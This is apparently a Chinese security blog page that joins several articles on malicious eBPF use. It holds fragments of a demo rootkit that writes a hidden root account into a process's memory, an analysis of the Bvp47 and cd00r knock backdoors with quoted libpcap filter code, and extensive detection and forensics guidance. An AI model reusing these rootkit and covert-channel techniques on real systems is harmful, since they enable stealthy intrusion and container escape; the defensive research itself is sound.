break; default: return 0; break; } // 将payload内存写入到buffer ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN); // 发送事件到用户态 return 0; } 按照如上demo rootkit的设计,即完成了随机用户名密码的root账号添加。在鉴权认证上,也可以配合eBPF网络层恶意利用的demo,利用eBPF map交互,实现相应鉴权。 但rootkit本身并没有更改硬盘上文件,不产生风险行为。并且,只针对特定进程的做覆盖,隐蔽性更好。整个流程如下图: 不管是在物理机上,还是给了root+BPF权限的容器上,都一样生效。 视频演示 危害 云原生场景下,赋予SYS_ADMIN的权限的容器场景很多,若配合近期的JAVA log4j漏洞,直接击穿容器,拿到宿主机权限,是不是很可怕? 然而,比这可怕的是这种rootkit本身并没有产生用户态行为日志,也没有改文件,系统里查不到这个用户信息。整个后门行为不产生数据,让大部分HIDS失灵。 综述 从笔者演示的这两个场景可以来看,大家已经知道eBPF技术被恶意利用的危害。其实,这只是eBPF技术的冰山一角,在kproeb\uprobe上也有很多功能,比如实现进程隐藏,无痕内网扫描等等。相关恶意利用可参考Bad BPF - Warping reality using eBPF一文。 若入侵者精心设计rootkit,实现进程隐藏等,让rootkit更加隐蔽,按照本文的思路,实现一个幽灵般的后门,想想就让人后怕。 常规的主机安全防御产品一般用netlink linux kernel module等技术实现进程创建、网络通讯等行为感知,而eBPF的hook点可以比这些技术更加深,比他们执行更早,意味着常规HIDS并不能感知发现他们。 传统rootkit,采用hook api方法,替换原来函数,导致执行函数调用地址发生变化,已有成熟检测机制,eBPF hook不同于传统rootkit ,函数调用堆栈不变。这给检测带来很大的麻烦。 那面对这种后门,该如何检测防御呢? 检测防御 从事件发生的过程来看,分为三个阶段: 运行前 运行时 运行后 运行前 在恶意程序运行前,减少攻击面,这个思路是更古不变的。 环境限制 不管是宿主机还是容器,都进行权限收敛,能不赋予SYS_ADMIN、CAP_BPF等权限,就禁止掉。若一定要开放这个权限,那么只能放到运行时的检测环节了。 seccomp限制 在容器启动时,修改默认seccomp.json,禁止bpf系统调用,防止容器逃逸,注意此方法对于Privileged特权容器无效。 内核编译参数限制 修改函数返回值做运行时防护时,需要用到bpf_override_return,该函数需要内核开启CONFIG_BPF_KPROBE_PVERRIDE编译参数,因此非特殊情况不要开启该编译参数。 非特权用户指令 大部分eBPF程序类型都需要root权限的用户才能调用执行。但有几个例外,比如BPF_PROG_TYPE_SOCKET_FILTER和BPF_PROG_TYPE_CGROUP_SKB这两个类型,就不需要root。但需要读取系统配置开关。 //https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240 if (type != BPF_PROG_TYPE_SOCKET_FILTER && type != BPF_PROG_TYPE_CGROUP_SKB && !bpf_capable()) return -EPERM; 开关确认 在/proc/sys/kernel/unprivileged_bpf_disabled里,可通过执行sysctl kernel.unprivileged_bpf_disabled=1来修改配置。配置含义见Documentation for /proc/sys/kernel/ 值为0表示允许非特权用户调用bpf 值为1表示禁止非特权用户调用bpf且该值不可再修改,只能重启后修改 值为2表示禁止非特权用户调用bpf,可以再次修改为0或1 特征检查 有人提议,在内核加载bpf字节码时,进行签名验证,以便达到只加载安全签名的bpf字节码。 lwn.net中也列出这个话题:BPF字节码签名计划 。 但很多人也提出 反对意见 ,认为bpf模块这几年的发展,过于抽象化,越来越复杂,不希望加入额外的功能,让bpf更加不稳定。而是改变思路,让字节码加载时签名,改为「执行bpf字节码加载的用户态程序进行签名」,这个是已有的内核功能,不会增加系统复杂性。 笔者认为,这确实可以缓解大部分bpf字节码加载的问题。但使用系统原生命令(tc\ip\bpftool等)加载的话,仍面临威胁。比如:ip link set dev ens33 xdp obj xdp-example_pass.o 运行检查 大部分eBPF程序在重启后不存在了,所以,入侵者会尽可能让后门自启动。对于linux系统的自启动、crontab等计划任务做好检查。 用户态程序可以以各种形式存在,ELF可执行文件、ELF so动态链接库都可以。在执行时,必定会调用BPF syscall来加载BPF 字节码。 若只是对可执行ELF做检测,还不够准确。 运行时 监控 linux系统中,所有的程序运行,都必须进行系统调用,eBPF程序也不例外。需要调用syscall为321的SYS_BPF指令。 并且,所有的eBPF程序执行、map创建都必须进行这个syscall调用。那么,在这个必经之路进行拦截监控,是最好的方案。 SEC("tracepoint/syscalls/sys_enter_bpf") int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) { struct bpf_context_t *bpf_context = make_event(); if (!bpf_context) return 0; bpf_context->cmd = args->cmd; get_common_proc(&bpf_context->procinfo); send_event(args, bpf_context); return 0; } 这里,我们开源的ehids项目做了一个bpf syscall检测的例子,大家可以fork了解。仓库见https://github.com/ehids/ehids-agent 当然,细心的读者会有疑问,假如入侵者的后门执行比较早,对这个系统调用进行欺骗,那怎么办呢? 这是个好问题,我们放到运行后的溯源章节讨论。但对于大部分场景,HIDS防御产品还是可以做到第一时间启动的。 审计&筛查 上面我们讨论了对bpf系统调用进行监控,在云原生场景中,基于eBPF实现的网络产品会频繁调用,会产生大量的事件日志,给运营同学带来较大压力。对行为做精简、做精确筛选就成为接下来的目标。 根据程序白名单筛选 数据过滤,是解决大量数据压力的方案。在一些BPF应用的业务服务器上,本身业务行为会产生大量调用,会给安全预警带来较大审计压力。对于已知的进程,可以根据进程特征过滤。 获取当前进程PID、COMM等特征,根据用户态写入eBPF map的配置,决定是否上报、是否拦截。 也可以在用户态做过滤,但内核态效率更高。如果是做拦截,那必须要在内核态实现。 参考saBPF产品设计思路 ,用eBPF实现LSM HOOK点的钩子程序,完成相关审计调用。https://github.com/saBPF-project/sabpf-kernel 项目代码还只是demo,思路可以借鉴。 根据SYSCALL类型筛选 在BPF syscall里,子命令的功能包含MAP、PROG等多种类型的操作bpf() subcommand reference 里有详细的读写API。在实际的业务场景里,写的安全风险比读大。所以,我们可以过滤掉读操作,只上报、审计写操作。 比如: MAP的创建BPF_MAP_CREATE PROG加载BPF_PROG_LOAD BPF_OBJ_PIN BPF_PROG_ATTACH BPF_BTF_LOAD BPF_MAP_UPDATE_BATCH 尤其是有BPF需求的业务场景,可以更好的审计日志。 运行后 问个问题,eBPF用户态程序与内核态程序交互,加载bpf字节码后,能退出吗? 退出后,内核hook的bpf函数还工作吗?创建的map是否还存在? 后门程序为了保证更好的隐蔽性,会如何选择? 要回答这个问题,不得不提BPF程序的加载机制,BPF对象生命周期。 文件描述符与引用计数器 用户态程序通过文件描述符FD来访问BPF对象(progs、maps、调试信息),每个对象都有一个引用计数器。用户态打开、读取相应FD,对应计数器会增加。若FD关闭,引用计数器减少,当refcnt为0时,内核会释放BPF对象,那么这个BPF对象将不在工作。 在安全场景里,用户态的后门进程若退出后,后门的eBPF程序也随之退出。在做安全检查时,这可以作为一个有利特征,查看进程列表中是否包含可疑进程。 但并非所有BPF对象都会随着用户态进程退出而退出。从内核原理来看,只需要保证refcnt大于0,就可以让BPF对象存活,让后门进程持续工作了。其实在BPF的程序类型中,像XDP、TC和基于CGROUP的钩子是全局的,不会因为用户态程序退出而退出。相应FD会由内核维护,保证refcnt计数器不为零,从而继续工作。 溯源 在安全工程师视角里,就需要根据不同场景作不同的溯源策略。笔者给的溯源方式中,都使用了eBPF的相关接口,意味着,如果恶意程序比检查工具运行的早,那么对于结果存在伪造的可能。 短生命周期 BPF程序类型代表 k[ret]probe u[ret]probe tracepoint raw_tracepoint perf_event socket filters so_reuseport 特点是基于FD管理,内核自动清理,对系统稳定性更好。这种程序类型的后门,在排查时特征明显,就是用户态进程。并且可以通过系统正在运行的BPF程序列表中获取。 bpftool工具 eBPF程序列表 命令bpftool prog show,以及bpftool prog help查看更多参数。 结果中,可以看到当前系统正在运行的BPF程序、关联的BPF map ID,以及对应的进程信息等。 另外,细心的你可能发现,结果中,XDP数据中并没有进程ID信息,稍后讨论。 eBPF map列表 命令bpftool map show,以及bpftool map help查看更多参数。 通过查看map信息,可以与程序信息作辅助矫正。并且,可以导出map内数据用来识别恶意进程行为。这部分我们在取证章节讨论。 bpflist-bpfcc bpflist-bpfcc -vv命令可以看到当前服务器运行的部分BPF程序列表。以笔者测试环境为例 root@vmubuntu:/home/cfc4n/project/xdp# bpflist-bpfcc -vv open kprobes: open uprobes: PID COMM TYPE COUNT 1 systemd prog 8 10444 ehids map 4 10444 ehids prog 5 可以看到系统进程systemd启动了8个prog程序。ehids进程创建了4个eBPF map与5个prog。但实际上前面也执行了ip link set dev ens33 xdp obj xdp-example_pass.o命令,在这里却没有显示出来。意味着这个命令输出的结果并不是所有bpf程序、map的情况。 长生命周期: BPF程序类型代表 XDP TC LWT CGROUP 上面提到以ip命令加载bpf字节码的场景,常见BPF工具查询不到或信息缺失。其背后原因,需要从他的工作原理讲起。 ip命令加载bpf原理 BPF对象的生命周期使用引用计时器管理,这一大原则是所有BPF对象都需要遵守的。而长生命周期的程序类型起FD是用户控件程序传递参数给内核空间,之后再由内核空间维持。 以前面提到的IP命令ip link set dev ens33 xdp obj xdp-example_pass.o为例。 IP命令的参数中包含bpf字节码文件名,IP进程打开.o字节码的fd,通过NETLINK发IFLA_XDP类型消息(子类型IFLA_XDP_FD)给内核,内核调用dev_change_xdp_fd函数,由网卡接管FD,引用计数器递增,用户空间的IP进程退出后,BPF程序依旧工作。 内核源码见:https://elixir.bootlin.com/linux/v5.16.10/source/tools/lib/bpf/netlink.c#L237 笔者做了抓包验证,IP关联XDP程序类型: 17:53:22.553708 sendmsg(3, { msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[ { iov_base={ {nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, {ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0}, { {nla_len=20, nla_type=IFLA_XDP}, [ {{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST} ] } }, iov_len=52 } ], msg_iovlen=1, msg_controllen=0, msg_flags=0 }, 0) = 52 可以看到IFLA_XDP_FD后面的FD参数是6。同样,删除XDP程序,需要把FD设置为-1,对应NETLINK包构成如下: 17:55:16.306843 sendmsg(3, { ... {nla_len=20, nla_type=IFLA_XDP}, [ {{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST} ] } ... }, 0) = 52 不止IP命令,TC命令分类器 也是支持BPF程序,将BPF程序作为classifiers和 actions加载到 ingress/egress hook点。背后原理与IP类似,也是netlink协议与内核通讯,网卡维持BPF对象计数器。 检测机制 使用原生IP、TC等命令,查看网卡加载的BPF对象。 ip link show tc filter show dev [网卡名] [ingress|egress] 使用bpftool命令查看 bpftool net show dev ens33 -p命令可以用于查看网络相关的eBPF HOOK点。 CGROUP的的BPF_PROG_TYPE_CGROUP_SKB、BPF_PROG_TYPE_CGROUP_SOCK类型程序的加载情况都可以通过bpftool prog show查看。长短生命周期的BPF程序区别是缺少用户空间进程PID信息。如下图: BPFFS 除了前面提到的方法外,BPF文件系统BPFFS也是让BPF程序后台运行的方式。用户空间进程可以使用任意名字将BPF程序PIN到BPFFS。让在BPFFS来自动增加BPF对象的refcnt引用计数器,来保持后台的活跃状态。使用时,只需要使用bpf_obj_get(“BPFFS path”)就可以获得BPF对象的FD。 BPFFS在linux的类型是BPF_FS_MAGIC,默认目录/sys/fs/bpf/,可自定义修改,但确保文件系统类型是unix.BPF_FS_MAGIC。 检测思路上,需要关注虚拟文件系统是不是unix.BPF_FS_MAGIC类型。 在linux系统上,mount -t bpf来查看系统所有挂在的文件类型,是否包含BPFFS类型。 确定BPFFS的目录后,再查看目录下的挂在点是否存在异常。 取证 内核已加载的BPF对象导出 bpftool工具可以导出有FD ID的PROG、MAP。 BPF PROG程序 可以导出opcode\visual\linum等多种格式,并可以生成调用关系图。具体可以查看bpftool的帮助文件。 root@vmubuntu:/home/cfc4n# bpftool prog help bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }] bpftool prog dump jited PROG [{ file FILE | opcodes | linum }] BPF MAP 与PROG类似,也可以通过bpftool导出内容,并支持json格式化内容。 root@vmubuntu:/home/cfc4n# bpftool map dump id 20 [{ "value": { ".rodata": [{ "target_ppid": 0 },{ "uid": 0 },{ "payload_len": 38 ... BPFFS BPFFS类型的BPF对象,虽然可以更便捷的放到后台执行,用户空间程序可以退出,也可以再次读取,但这也给取证带来很大便利。bpftool命令也支持从pinned到BPFFS文件系统的路径里导出PROG、MAP。参与少有区别,详情见bpftool help。 内核未加载的BPF对象 当定位到后门rootkit的用户空间程序后,那么BPF字节码肯定会被其调用。字节码内容一般会放在一个独立文件中,或者作为字节码编译到当前程序里。这也只需要使用IDA之类反编译工具,定位到相关字节流,导出即可。 以笔者演示视频中的ehids进程为例,使用https://github.com/ehids/ebpfmanager 纯GO的eBPF模块管理器package,对于eBPF字节码会使用github.com/shuLhan/go-bindata/cmd/go-bindata包对BPF字节码进行加载、GZIP压缩,作为go代码的变量,在部署时比较边界。 IDA pro加载时,我们可以在.noptrdata段部分看到这块代码,开始地址是0000000000827AE0,导出后再解压,可以还原原来的BPF ELF文件内容。 因为每个BPF用户态实现不同,类库也不一样,静态分析实践起来有难度。那可以模拟相同环境,动态运行,提前HOOK BPF SYSCALL,找到FD设置的地方,也是可以导出BPF的ELF文件。 字节码分析 BPF字节码本身也是ELF格式,只是格式指令上有一定区别。反编译工具IDA pro也能支持,国外安全工程师开源了一个python插件:eBPF IDA Proc ,以及整理了一篇分析的文章:Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool ,有兴趣可以读读。 防御 eBPF在网络安全场景的使用,除了做入侵检测外,还是可以用于防御。 LSM PROBE HOOK提供了相关功能。以容器逃逸场景为例,行为最明显的特征是父子进程的namespace不一致,子进程创建完成后,判断这个特征是否匹配,返回EPERM覆盖进程创建函数的返回值,从而起到防御的目的。相比内核模块等防御实现,eBPF实现更加安全、稳定、可靠,从而在源头上解决容器逃逸的问题。 同样,笔者认为eBPF也是二进制层最优秀的虚拟补丁、热更新解决方案。 LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size) { return -EPERM; } 在系统的配置上有一定要求,CONFIG_BPF_LSM=y,CONFIG_LSM配置内容,必须包含bpf等,详情可参考BCC类库Demo lsm probe 。 工程实现 练手 入门练手,可以尝试使用BCC的类库:https://github.com/iovisor/bcc ,以及C语言用户空间程序的各种Demo例子Demo BPF applications 。 类库选择 工程化时,对项目质量、稳定性、研发效率等都有要求,推荐cilium的纯go eBPF类库,由cilium官方背书可放心使用。datadog公司的agent产品也是用这个类库。 笔者的产品也是参考datadog,抽象包装了cilium的eBPF库,实现配置化便捷管理eBPF程序。github仓库:https://github.com/ehids/ebpfmanager ,欢迎使用。 当然,也可以使用libbpf包装的go类库实现,比如tracee等产品。 系统兼容性 CO-RE eBPF的出现极大的简化了编写内核态代码的门槛,极高的安全性,友好的加载方式,高效的数据交互,令eBPF深受追捧。然而和编写传统内核模块相同,内核态的功能开发伴随着繁冗的适配测试工作,Linux繁多的内核版本更是让适配这件事难度陡增, 这也就是BTF出现之前的很长一段时间里,bcc + clang + llvm被人们诟病的地方。 程序在运行的时候,才进行编译,目标机器还得安装clang llvm kernel-header等编译环境,同时编译也会消耗大量cpu资源,这在某些高负载机器上是不能被接受的。 因此BTF&CO-RE横空出现,BTF可以理解为一种debug符号描述方式,此前传统方式debug信息会非常巨大,linux内核一般会关闭debug符号,btf的出现解决了这一问题,大幅度减少debug信息的大小,使得生产场景内核携带debug信息成为可能。 可喜的是通过运用这项技术,可以帮助开发者节省大量适配精力,但是这项技术目前还是在开发中,还有许多处理不了的场景,比如结构体成员被迁入子结构体中,这时候还是需要手动解决问题,BTF的开发者也写了一篇文章,讲解不同场景的处理方案bpf-core-reference-guide 大型项目 在国外,云原生领域产品发展较快,涌现出一批批基于eBPF的产品,包括Cilium、datadog 、falco、Katran等,应用在网络编排、网络防火墙、跟踪定位、运行时安全等各个领域,可以借鉴这些大型项目的研发经验,来加快产品建设,包括多系统兼容、框架设计、项目质量、监控体系建设等。本篇以检测防御为主,工程建设相关经验我们在以后的文章中分享。 总结 随着云原生快速发展,eBPF实现软件、运行环境会越来越多。而eBPF的恶意利用也会越来越普遍。从国内外的情况来看,国外对这个方向的研究远比国内超前,笔者再次呼吁大家,网络安全产品应当尽快具备eBPF相关威胁检测能力。 这里,笔者跟大家探讨了基于eBPF技术的恶意利用与检测机制。在文章之初,提到eBPF在防御检测产品研发、工程建设等,我们将在下一篇跟大家分享,敬请期待。 作者简介 陈驰 : 2017年加入美团,目前主要负责IDC服务器的检测防御产品研发,完善服务器侧纵深防御体系建设。 杨一 : 2017年加入美团,目前主要负责HIDS主机安全产品研发工作。 胡鑫博 : 2021年加入美团,目前主要负责HIDS Agent的研发。 参考文献 Creating and Countering the Next Generation of Linux Rootkits: DEF CON 29 - PatH - Warping Reality: Creating and Countering the Next Generation of Linux Rootkits DEFCON 29 - eBPF, I thought we were friends: https://www.youtube.com/watch?v=5zixNDolLrg eBPF的各种技术应用PDF集合: https://github.com/ehids/slide Offensive BPF: Malicious bpftrace : https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/ Bad BPF - Warping reality using eBPF: https://blog.tofile.dev/2021/08/01/bad-bpf.html Lifetime of BPF objects: https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html BPF程序(BPF Prog)类型详解:使用场景、函数签名、执行位置及程序示例:https://arthurchiao.art/blog/bpf-advanced-notes-1-zh Features of bpftool: the thread of tips and examples to work with eBPF objects: https://qmonnet.github.io/whirl-offload/2021/09/23/bpftool-features-thread/ Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool: https://blogs.blackberry.com/en/2021/12/reverse-engineering-ebpfkit-rootkit-with-blackberrys-free-ida-processor-tool Creating and countering the next generation of Linux rootkits using eBPF: Creating and countering the next generation of Linux rootkits using eBPF Pat Hogan eBPF Syscall: https://www.kernel.org/doc/html/latest/userspace-api/ebpf/syscall.html Cilium eBPF实现机制源码分析: https://www.cnxct.com/how-does-cilium-use-ebpf-with-go-and-c/ ebpfkit is a rootkit powered by eBPF: https://github.com/Gui774ume/ebpfkit 招聘 美团信息安全部招聘研发专家,职位如下列表,职位描述见美团信息安全部2022年招聘岗位 。 安全研发专家(主机安全方向) 安全研发专家(RASP方向) WEB研发架构师(JAVA语言) 美团信息安全部其他职位 github 2022-03-09 2 0
聊一聊《Bvp47 美国NSA方程式的顶级后门》中的BPF隐藏信道 背景 Bvp47的BPF使用 上周看了盘古实验室发表的《Bvp47 美国NSA方程式的顶级后门》的文章,里面提到后门使用BPF技术做通信信道的隐藏,本身不监听端口,通过特定SYN包唤醒后门。而且,此后门隐藏近二十年之久,至今才被发现。 Bvp47 直接利用 BPF 的这个特性作为隐蔽信道环节中在 Linux 内核层面的高级技巧,避免直接的 内核网络协议栈HOOK被追踪者检测出来。 具体的 BPF 汇编如下,只有满足这部分规则的 SYN 数据包(还包括UDP包)才会进入下一个加解密 流程进行处理: 文中一句带过,没有过多的细节描述。也能理解,毕竟是逆向黑盒分析,没有源码,还是有一些吃力。 eBPF在网络层恶意利用。 恰巧笔者近期在学习eBPF,且在春节前用eBPF技术实现了类似功能的后门DEMO,对这块特别感兴趣。 好奇它的兼容性是如何做的,HOOK点是如何选择的?用的BPF/eBPF哪个内核版本的类库? 演示DEMO的后门,绕过了服务器内的多款防御产品。 iptables防火墙绕过 :利用对外开放的80端口作为通讯隧道; webIDS绕过:流量到达服务器后,并不传递给nginx; NIDS绕过:入侵者流量在局域网之间流传并无异常,只是无法解密; HIDS绕过:是否信任了防火墙,忽略了本机/局域网来源的SSHD登录? 之前的演示视频做的比较潦草,缺少相关技术原理图,不太好理解,不推荐看了。新的视频已经剪辑好,近期笔者会在文章里分享。 当然,笔者是为了网络安全的红蓝对抗,才写的后门恶意利用的DEMO,用于作为HIDS等防御产品规划的论据,也是提醒同行需要对eBPF技术的恶意利用多加防范。 好奇之下,笔者根据自己eBPF网络信道隐藏的DEMO实现,猜测了一下Bvp47的隐藏原理。 猜测 从PDF里的汇编图来看,后门使用的是BPF技术,不是eBPF。且受影响版本都是linux 内核为2.6系列。 BPF/eBPF历程 回顾BPF发展历程: 1997年,linux kernel 2.1 首次引入BPF,BSD包过滤,支持网络事件处理。 2011年,linux kernel 3.0 增加即时编译。 2014年,linux kernel 4.1 革命性更新,eBPF出世,通用虚拟机。处理事件包括内核态函数、用户态函数、跟踪点、性能事件、安全控制等。 2015年,BCC等各种辅助类库出现。 2016年,丰富了eBPF事件源,Cilium项目发布。 2017年,BPF成为内核独立子模块,Netflix、Facebook等公司,把eBPF应用在跟踪、DDos防御、L4负载均衡等。 之后快速发展,BTF规范产生,增加不同内核的兼容性等。增加尾调用、热更新等。 后门的实现猜测 文中提到受影响内核是2.6.x, 那使用的BPF版本还比较老,只能过滤网络流量。 理论是跟eBPF类似,大约在XDP层附近,工作在网卡驱动附近,可以做流量过滤处理,之后再交付给内核的网络协议相关函数。 libpcap的原理是包的clone,再传递,本身不影响应用层拿到原始包。在这个后门里做敲门的功能是足够了。至于传过去的自定义格式SYN标志包,应用层能否解析,影响也不大,也很难会被发现。 但如果是eBPF里,可以在XDP层读取、修改、丢弃包,TCP栈这层都拿不到包,更不用说应用层了,可以隐藏的更深。 普通内核网络部分函数HOOK的话,大约在网络层那块。所以,能很好的隐藏入口流量。 补个eBPF的图,方便大家理解。虽然后门用的是BPF技术, Packet flow in Netfilter and General Networking图出自: https://commons.wikimedia.org/wiki/File:Netfilter-packet-flow.svg ,做网络相关工作的运维SRE、研发工程师、安全工程师建议收藏。 后门原型cd00r 怀着好奇的心理,笔者在国外的安全网站找到了这个后门原型 ,在2002年,有安全网站分享出来了。 cd00r.c is a proof of concept code to test the idea of a completely invisible (read: not listening) backdoor server. Standard backdoors and remote access services have one major problem - the port's they are listening on are visible on the system console as well as from outside (by port scanning). To activate the remote access service, one has to send several packets (TCP SYN) to ports on the target system. Which ports in which order and how many of them can be defined in the source code. 涉及BPF的核心代码如下: /* variables for the pcap functions */ #define CDR_BPF_PORT "port " #define CDR_BPF_ORCON " or " char pcap_err[PCAP_ERRBUF_SIZE]; /* buffer for pcap errors */ pcap_t *cap; /* capture handler */ bpf_u_int32 network,netmask; struct pcap_pkthdr *phead; struct bpf_program cfilter; /* the compiled filter */ struct iphdr *ip; struct tcphdr *tcp; u_char *pdata; ... if (cports[0]) { memset(&portnum,0,6); sprintf(portnum,"%d",cports[0]); filter=(char *)smalloc(strlen(CDR_BPF_PORT)+strlen(portnum)+1); strcpy(filter,CDR_BPF_PORT); strcat(filter,portnum); } else { if (cdr_noise) fprintf(stderr,"NO port code\n"); exit (0); } /* here, all other ports will be added to the filter string which reads * like this: * port <1> or port <2> or port <3> ... * see tcpdump(1) */ for (i=1;i<cportcnt;i++) { if (cports[i]) { memset(&portnum,0,6); sprintf(portnum,"%d",cports[i]); if ((filter=(char *)realloc(filter, strlen(filter)+ strlen(CDR_BPF_PORT)+ strlen(portnum)+ strlen(CDR_BPF_ORCON)+1)) ==NULL) { if (cdr_noise) fprintf(stderr,"realloc() failed\n"); exit (0); } strcat(filter,CDR_BPF_ORCON); strcat(filter,CDR_BPF_PORT); strcat(filter,portnum); } 后门的全部代码,笔者放在了github上:https://github.com/ehids/rootkit-sample/blob/master/cd00r.c 。 同时,笔者还找到了二十多年前,GIAC公司对这款后门的分析预警,笔者也放在上面的git仓库里了。 cd00r后门原理 后门原型的代码比较少,读起来也不复杂。核心实现是调用libpcap类库进行网络包的过滤读取,识别每个TCP包中SYN标识位的body部分内容,找到相关特征进行匹配验证,验证通过,则启动后门连接进程,开启端口监听。 这后门默认不监听端口,会读取主机所有流量过滤,找到secret knock密码特征后,再执行入侵者预留的后门代码。 cd00r后门在过滤数据包时,筛选了常用的200、80、22、53、3等端口,再启动inetd等进程,监听5002/tcp端口,让这个进程与入侵者交互。真正的交互后门进程,是通过secret knock特征敲门后启动,还是有一些隐蔽性。并且,这个后门敲门后执行cdr_open_door()函数,启动的是inetd进程,实际上可以修改为其他任意代码。 cd00r后门业务流程 整个流程如下: 初始化cd00r变量、嗅探网卡、secret knock敲门端口等 初始化libpcap类库,创建tcpdump规则。没有全端口监听,是为了减少CPU负载,增加隐蔽性。 获取嗅探网卡的IP地址 初始化数据包捕获设备 创建规则字符串的过滤器,这里规则的执行,依赖BPF指令。 关联过滤器与嗅探器 开启守护进程fork for循环处理每个过滤器后的网络包,判断是否与secret knock密码匹配,不匹配则跳过 如果secret knock密码匹配,则执行入侵者的代码,比如执行inetd进程。 从代码来看,流程、逻辑都比较清晰,不是很复杂。从后门构思上来看,比较巧妙。若是现在的环境,有eBPF支持下,那会更加可怕。可以参考笔者的eBPF恶意利用相关视频。 Bvp47通信 回到主题上,根据盘古的PDF报告,Bvp47后门是2002年,cd00r是在2000年,相信Bvp后门的设计也参考了cd00r的灵感,在此基础上做了很多演进与扩展。 隐藏敲门 Bvp47后门使用的应该是最初版本的BPF指令,而且应该不是直接使用,而是引用了libpcap类库间接用了BPF指令。 在SYNKnock敲门机制上,应该与cd00r一致,这也能从PDF的截图里看到。 敲门后,才启动控制端,监听端口。 隐藏信道 在PDF里有很详细的描述,原理是通过SYN包附带payload,来逃避常规软件的检测。并对payload做了加密。 后门缺陷 兼容性 后门的SYNKnock敲门机制依赖libpcap做网卡嗅探,依赖BPF指令做网络包过滤。这些类库与BPF指令有着系统版本的限制,Bvp47后门用的是linux kernel 2.6内核的BPF版本,只能在2.6版本的内核上运行。这也是这篇PDF里展示受害系统都是2.6的原因。 若后门考虑兼容性,那么必定会根据不同版本分别做代码兼容编写、编译、分发才能做到。 在2022年,eBPF有了BTF规范的加持,CO-RE特性有着更好的系统兼容性,在为应用程序提供更便捷的维护成本外,也给木马后门带来了便捷。 行为明显 后门在SYNKnock敲门上做了隐藏,不需要监听端口就可以发起指令。在后续的通讯交互中,会启动新的进程。 新的进程内会包含大量用户态的行为,产生各种日志。防御方还是有一定痕迹可循。 总结 话说回来,这是二十年前的后门技术,隐藏信道部分从技术原理上来看,并不复杂,只是没有被大家重视。 而且,这后门只是在端口监听上,敲门阶段没有监听端口,在后门的连接、信息传输阶段,还是开了端口的。 在后门账号上,采用写入系统用户名、密码的方式,来实现SSHD的认证存储,本身还是有/etc/passwd等文件读写的用户态行为,现有HIDS都具备发现的能力。 但是,这是二十年前的技术,如今,BPF已经演进为eBPF,其功能更是强大,覆盖范围不止网络控制,还包括内核态函数、用户态函数、跟踪点、性能事件、安全控制等。 笔者演示的两个基于eBPF的后门行为来看,可以做的更加隐蔽,不产生用户态行为,更加可怕,给防御方的挑战也越来越大。 检测机制 随着云原生场景迅速发展,eBPF技术的后门场景也越来越多,你的服务器上,是不是已经有这种后门在运行了?这种类型的安全产品该如何检测防御呢? 笔者整理了一篇《Linux中基于eBPF的恶意利用与检测机制》,近期分享给大家,请关注榫卯江湖微信公众号。 参考 《Bvp47 美国NSA方程式的顶级后门》 cd00r隐藏后门源码 Get a handle on cd00r: The invisible backdoor eBPF技术的rootkit恶意利用 2022-03-01 1 0
内核态eBPF程序实现容器逃逸与隐藏账号rootkit 提示 本文不同于 云原生安全攻防|使用eBPF逃逸容器技术分析与实践,腾讯同学的实现,是用eBPF技术在内核态hook,修改文件,让用户态APP产生行为日志(cron的文件变化,且需要执行shell),完成逃逸。在此过程中,还是会留下一些日志行为,能被常规HIDS感知捕获,触发告警。 本文是在kernel space内核态,hook内核态函数,更改内核态返回用户态缓冲区数据,达到用户态欺骗的目的。用户态进程拿到被篡改的数据,从而被骗通过认证。在此过程,不改变任何文件、进程、网络行为,不产生日志。 常规HIDS、HIPS产品无法感知。 背景 前段时间,调研了业界基于eBPF实现的HIDS类产品,包括Cilium、datadog、tracee、falco等产品。 在工程研发上,了解了业界在eBPF技术的应用方式,覆盖场景,实现的安全业务功能等。 在K8S生态下,涌现大批基于eBPF技术实现的集群网络管理插件,比如Calico、cilium等。而业务实现网络管理服务是以容器化方式部署,且有需要给这些容器启用SYS_BPF_ADMIN权限以支持eBPF系统调用。 这些业务形态,恰恰给这种攻击手段一个完美的发挥空间。 目的 随着业务形态变化,在强大的eBPF技术下,会给安全上带来什么样的威胁呢?正巧前段时间也看到腾讯@neargle 同学们写的 云原生安全攻防|使用eBPF逃逸容器技术分析与实践 文章,深知eBPF的威胁远比这更可怕,细想其功能覆盖XDP、TC、probe、socket等,每个功能点都能实现内核态的篡改行为,从而使得用户态完全致盲,哪怕是基于内核模块的HIDS,一样无法感知这些行为。 为此,笔者跟大家分享这篇文章,演示eBPF技术的强大,给防御产品HIDS/HIPS预警,尽快完成eBPF相关入侵行为监控的建设,提升IDC的防御检测能力。 原理 既然容器启动时,已经授权启用了eBPF权限,那么理论上可以做任何事情,包括容器逃逸获得宿主机权限、实现超级隐藏的rootkit后门、绕过网络防火墙等。 那么eBPF技术还能做哪些事情呢?为了回答这个问题,我们回顾一下eBPF的hook点 从图中可以看出,eBPF的hook点功能包括以下几部分 可以在Storage、Network等与内核交互之前; 也可以在内核中的功能模块交互之间; 又可以在内核态与用户态交互之间; 更可以在用户态进程空间。 这意味着,eBPF技术都可以在这些HOOK点做各种手脚,为所欲为,十分可怕。而更可怕的是,在前两个地方,都是在内核态以及内核态之前做手脚,而现有常见的HIDS都是基于内核里或者用户态做行为监控,这恰恰就绕开了大部分HIDS的监控,且不产生任何日志,简直细思极恐、不寒而栗。 演示环境 版本 宿主机系统版本 系统内核版本 root@vmubuntu:/home/cfc4n#uname -a Linux 